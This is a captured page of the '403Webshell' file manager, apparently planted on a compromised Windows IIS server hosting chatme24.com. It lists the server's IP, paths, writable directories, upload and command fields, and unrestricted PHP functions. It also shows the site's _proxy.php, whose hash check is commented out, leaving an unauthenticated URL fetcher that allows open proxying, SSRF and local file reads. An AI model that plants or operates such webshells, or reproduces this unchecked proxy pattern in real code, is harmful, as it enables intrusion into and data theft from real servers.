403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/_server/city_js/dev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/_server/city_js/dev/_proxy.php
<?php
if(file_exists('../../../_include/core/main_start.php')) {
    include('../../../_include/core/main_start.php');
}
else {
    function get_param($param){
        return $_GET[$param];
    }
}
include('hash.php');
set_time_limit(3600);

$url = urldecode(get_param('url'));
$hash = get_param('hash');
if ($hash != get_hash($url)) {
	//file_put_contents('debug', 'bad_hash: '.$url);
	//exit();
}

function getHeadersInfo($url) {
    $r = get_headers($url);
    $headers = array();
    foreach($r as $header) {
        $header = trim($header);
        if ($header) {
            if (strpos($header, 'Content-Length:') === 0
                || strpos($header, 'Content-Type:') === 0) {
                $headers[] = $header;
            }
        }
    }
    return $headers;
}
$headers = getHeadersInfo($url);
//file_put_contents('debug', $headers);

if (isset($_SERVER['HTTP_RANGE'])) {
	$opts['http']['header'] = "Range: " . $_SERVER['HTTP_RANGE'];
}
$opts['http']['method'] = 'GET';
$cong = stream_context_create($opts);


array_map('header', $headers);

if (mb_strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE', 0, 'UTF-8') !== true){
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header("Content-Transfer-Encoding: binary");
    header('Pragma: public');
} else {
    header("Content-Transfer-Encoding: binary");
    header('Expires: 0');
    header('Pragma: no-cache');
}

readfile($url, false, $cong);

if(file_exists('../../../_include/core/main_close.php')) {
    include('../../../_include/core/main_close.php');
}


Youez - 2016 - github.com/yon3zu
LinuXploit